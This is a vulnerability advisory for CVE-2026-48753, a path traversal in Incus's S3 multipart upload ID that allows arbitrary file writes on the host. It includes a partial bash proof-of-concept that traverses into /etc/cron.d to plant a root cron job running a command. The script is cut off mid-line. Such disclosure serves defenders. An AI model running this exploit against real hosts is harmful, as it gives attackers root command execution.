CVE-2026-48753 — Incus has an arbitrary file write via path traversal in S3 multipart upload

Affected: lxc incus

Incus is a system container and virtual machine manager. Prior to version 7.1.0, the S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution. Version 7.1.0 fixes the issue.

GHSA-ccjc-4qc3-jxqc — Incus has an arbitrary file write via path traversal in S3 multipart upload

Affected: Go: github.com/lxc/incus/v7/cmd/incusd

## Summary

The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.

In `internal/server/storage/s3/local/multipart.go`, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33

## PoC

### Setup

``` # Expose the S3 API and create a bucket incus config set core.storage_buckets_address=:8555 incus storage volume create default bucket #> note the credentials ```

### Exploitation

The below script was mostly generated.

``` #!/usr/bin/env bash set -euo pipefail

if [ $# -lt 4 ]; then printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2 exit 1 fi

endpoint="${1%/}" bucket="${2}" access="${3}" secret="${4}"

region="us-east-1" service="s3" key="anything" part="1" upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d" target="/etc/cron.d/part-00001" cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target" body="* * * * * root /bin/sh -c '$cmd' "

uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key" uri_path="${uri_path#/}" uri_path="/$uri_path" host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')" qs="partNumber=$part&uploadId=${upload_id//\//%2F}" url="$endpoint/$bucket/$key?$qs"

amz_date=$(date -u +%Y%…

Most recent entries from all

CVE-2026-48753 — Incus has an arbitrary file write via path traversal in S3 multipart upload

GHSA-ccjc-4qc3-jxqc — Incus has an arbitrary file write via path traversal in S3 multipart upload